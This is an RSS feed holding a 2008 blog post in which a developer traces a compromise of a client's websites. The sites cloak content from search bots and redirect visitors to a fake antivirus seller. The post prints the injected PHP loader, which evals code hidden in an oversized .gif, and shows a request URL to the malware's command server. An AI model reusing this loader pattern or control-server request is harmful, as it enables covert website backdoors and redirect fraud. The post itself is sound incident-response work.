<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>These things are far too hard &#187; hacking attempt</title>
	<atom:link href="http://leadingedgescripts.co.uk/tag/hacking-attempt/feed/" rel="self" type="application/rss+xml" />
	<link>http://leadingedgescripts.co.uk</link>
	<description></description>
	<lastBuildDate>Fri, 16 Oct 2009 09:14:32 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>On The Hunt For a Hacker &#8211; Part One</title>
		<link>http://leadingedgescripts.co.uk/computer-security/on-the-hunt-for-a-hacker-part-one/</link>
		<comments>http://leadingedgescripts.co.uk/computer-security/on-the-hunt-for-a-hacker-part-one/#comments</comments>
		<pubDate>Sat, 15 Nov 2008 15:18:31 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[hacking attempt]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=214</guid>
		<description><![CDATA[One of my clients has recently been hacked, and not knowing who else to turn to asked me to look into the hack, try and sort out the mess and fix the broken websites. So before I start this post I think I should make it clear that I am supporting my clients legacy code, [...]]]></description>
			<content:encoded><![CDATA[<p>One of my clients has recently been hacked, and not knowing who else to turn to asked me to look into the hack, try and sort out the mess and fix the broken websites.</p>
<p>So before I start this post I think I should make it clear that I am supporting my clients legacy code, which was developed by another developer at least 3-4 years ago. My client is aware of the issues with the code and is actively seeking to patch it up.</p>
<p>So anway, yesterday I got an email from my client at around 3pm showing some rather nasty Google search results with some of his domains listed in them. Naturally I clicked on the links to see what would happen, and sure enough, after being sent to my clients website, I was sent on to some kind of affiliate web page full of pop-ups trying to tell me my machine had a virus and that I should buy the anti-virus software they were selling &#8211; I&#8217;m sure you&#8217;ve all seen the kind of website I&#8217;m talking about.</p>
<p>
<!-- Begin Google Adsense code -->
<script type="text/javascript"><!--
google_ad_client = "pub-4904188713812219";
/* 468x60, created 02/11/08 */
google_ad_slot = "9286450703";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Google Adsense code -->
</p>
<p>So obviously this is a bit of an emergency, so I stopped what I was doing and started to investigate. I&#8217;m still not certain how the attack is being implemented since we&#8217;ve not yet managed to discover how the hacker is getting access to the server, hence this being probably the first post in a series, but I&#8217;ll tell you what I know.</p>
<p>About a month ago, my client phoned me up saying he had accidentally clicked on a virus in his email, and it had caused major problems on his PC. He told me he was running anti-virus software and cleaning up his machines. Knowing that my client doesn&#8217;t have the greatest computer skills I thought &#8220;uh oh&#8221; this could be bad.</p>
<p>Shortly after this, maybe a week later, my client phones up because one of his clients ecommerce websites (he runs a small web development firm) was redirecting visitors to a web page selling anti-virus software! (sound familiar?). So I took a look around the code and discovered that one of the product names in the database had been changed to include some JavaScript which redirected you immediately to this AV affiliate website.</p>
<p>My first thought was oh no, this means the website has been SQL injected, so I looked through the logs and sure enough there were some requests coming from a bot that was trying to SQL inject. Obviously I patched up the SQL injection vulnerability and nothing else of the issue.</p>
<p>Then, about 2 weeks later, I get another phone call; the websites doing the same thing. So now I know it can&#8217;t be SQL injection, which means the hacker either has root access to the server the website(s) are on (more than one has been affected to date), or that the hacker has FTP access, so I instruct my client to change all his FTP usernames and passwords, which he promptly does, and I fix the issues with the code.</p>
<p>Then about 2 weeks more pass by and I get an email entitled &#8220;Nightmare!!&#8221;, which is kind of where this story begins&#8230;</p>
<p>So, as I mentioned above, I visited the website in my browser &#8211; looks fine, I am able to browse the shop, I&#8217;m not redirected anywhere, but the email from my client has links to this website that definately redirect to the affiliate website in question. So I type the address into my browser including the full URL from my clients email, and sure enough I am redirected to this affiliate website.</p>
<p>The url looked like this:</p>
<blockquote><p>http://www.clientsdomain.com/index.php?id=50000</p></blockquote>
<p>So naturally I checked out index.php, and saw the following code:</p>
<blockquote><p>&lt;?<br />
$browser = CheckBrowser();<br />
$link = $browser ? &#8216;index.php?id=50000&#8242; : &#8216;about-us.php&#8217;;<br />
$title = $browser ? &#8216;Blog &lt;font color=#FF0000&gt;(NEW)&lt;/font&gt;&#8217; : &#8216;About us&#8217;;<br />
?&gt;<br />
&lt;td height=&#8221;26&#8243; align=&#8221;center&#8221; class=&#8221;style51&#8243;&gt;&lt;a href=&#8221;&lt;? echo $link; ?&gt;&#8221;&gt;&lt;? echo $title; ?&gt;&lt;/a&gt;&lt;/td&gt;</p></blockquote>
<p>Roughly speaking, this code checks the browser, and either displays a link to about-us.php or links off the url above (index.php?id=50000).</p>
<p>Now, that&#8217;s interesting, so I needed to know what the php function CheckBrowser() was doing&#8230; so I had to hunt around the code (all Object Orientated Code without documentation) and I found the CheckBrowser() function &#8211; it was basically testing to see if the request was being made by GoogleBot, or Yahoo. So to test my theory I used the following great little tool ( <a href="http://www.web-tool.org/cloak-check/cloak-check.asp">http://www.web-tool.org/cloak-check/cloak-check.asp</a> ) in conjunction with <a href="http://bethebot.com">http://bethebot.com</a> and yep, this website was definitely cloaking.</p>
<p>So then I had to figure out how it was redirecting, index.php didn&#8217;t have any code to check for $_GET variables, nor did it include any code to redirect people; strange&#8230;</p>
<p>So I took another good look around the code and found the following bit of PHP:</p>
<pre>        if(isset($_REQUEST['id']))
        if(($_REQUEST['id']&gt;=50000)&amp;&amp;($_REQUEST['id']&lt;60000))
        {
            $fls = array(array('images/product-display-box_19.gif',3696,21894));
            foreach($fls as $v)
            if(file_exists($v[0]))
            {
                $f=fopen($v[0],'rb');fseek($f,$v[1],SEEK_SET);$d=fread($f,$v[2]);fclose($f);eval($d);megadupa($v[0]);
                break;
            }
            die();
        }</pre>
<p>Amusingly, placed immediately preceding my code designed to prevent SQL injection.</p>
<p>Now look at this code, there is a $_GET variable called id, with a value between 50000 and 60000 it opens a file on the server product-display-box_19.gif and reads a specific part of that file and then evals()  whatever it finds (which means it &#8220;runs the code&#8221;). Now a .gif image shouldn&#8217;t be able to be executed, so how does this work? and, what the hell is the megadupa() function, that&#8217;s not part of the PHP language, why isn&#8217;t this falling over saying that that is bad php.</p>
<p>So the next port of call was to look at product-display-box_19.gif. I checked out the images/ folder on the server and guess what, there is a 19MB file with that very name, now 19MB is HUGE for an image file, so I though I need to see this.</p>
<p>I downloaded it from the server, and double clicked on it &#8211; I&#8217;m pretty good with PCs so although I knew I might suffer a buffer overlow attack or a trojan, but I&#8217;m confident I can handle these things <img src='http://leadingedgescripts.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Well, I loaded up the image and it was a tiny little .gif, it looked like the bottom of a button and would normally be 19 KB  in size not 19 MB! Obviously there is something fishy going on here. So I opened the .gif file using Notepad++, took ages of course, but once it had loaded, I scanned through the code and sure enough this .gif file has been specially crafted and contains loads of PHP, XHTML / CSS the lot, in fact it&#8217;s a pretty amazing file.</p>
<p>So I renamed the file to .php and noticing that there were some comments in the embedded PHP instructing me how to run the code without the eval() function stuck it on my local server and voila it loaded! And it didn&#8217;t just load anything, it loaded what looked like clones of WordPress &#8211; two of them, loads of sex related keywords, basically this thing looked like it had been used repeatedly to hack servers. What a find.</p>
<p>So being curious I started to trawl through the code, and guess what, this script &#8220;phones home&#8221;, revealing IP addresses. So I followed them, and ended up on a webserver in the USA, with a message saying that &#8220;the service was unavailable&#8221;, so I referred back to the code, and noticed that when it &#8220;phones home&#8221; it also sends back information about the referrer, domain, IP address etc etc so I constructed a fake URL as follows</p>
<blockquote><p>http://123.123.123.123/gate/gate.php?t=av&amp;s=2&amp;pid=665&amp;uri=www.example.com%2Findex.php&amp;ip=64.22.112.234&amp;ref=&amp;ua=Mozilla%2F5.0+%28compatible%3B+Googlebot%2F2.1%3B+%2Bhttp%3A%2F%2Fwww.google.com%2Fbot.html%29</p></blockquote>
<p>And, I was in!</p>
<p>Suddenly this server in America sends me back a web address, you guessed it, for the affiliate website.</p>
<p>So now I&#8217;m looking at a server which instructs these scripts to point other peoples websites to a URL of the hackers choice! Of course at this stage I whois&#8217;ed the IP address and yes I know who is hosting the IP.</p>
<p>So next up, I do a reverse DNS lookup using <a href="http://www.myipneighbors.com/">http://www.myipneighbors.com/</a> and I find some of the other websites on the server in America. So I visited them, they pretty much all seemed to be spammy fake &#8220;search engines&#8221; but interestingly they linked back to another IP address &#8211; also in America, but on a different host server. So I loaded up the new IP address and was immediately redirected to domain. I&#8217;m not going to reveal the domain, but this gave me something else to run a whois check on.</p>
<p>So I did, and the domain resolved to someone in Texas, but even more interestingly, it included an email address for the registrant: @mail.ru</p>
<p>So now I&#8217;m looking at a Russian hacker, using a server in America to control what seems to be a number of compromised servers to redirect websites and manipulate search engine results to point to an affiliate website selling anti-virus software.</p>
<p>So, since I still don&#8217;t know how this person got into my clients website in the first place, I have instructed him to change his FTP passwords and not to log in again for the time being. I will be contacting the web hosting company and I&#8217;m waiting to see if the hacker gets back in again, if they do I can only presume the web host has been compromised.</p>
<p>Look out for part two&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/computer-security/on-the-hunt-for-a-hacker-part-one/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
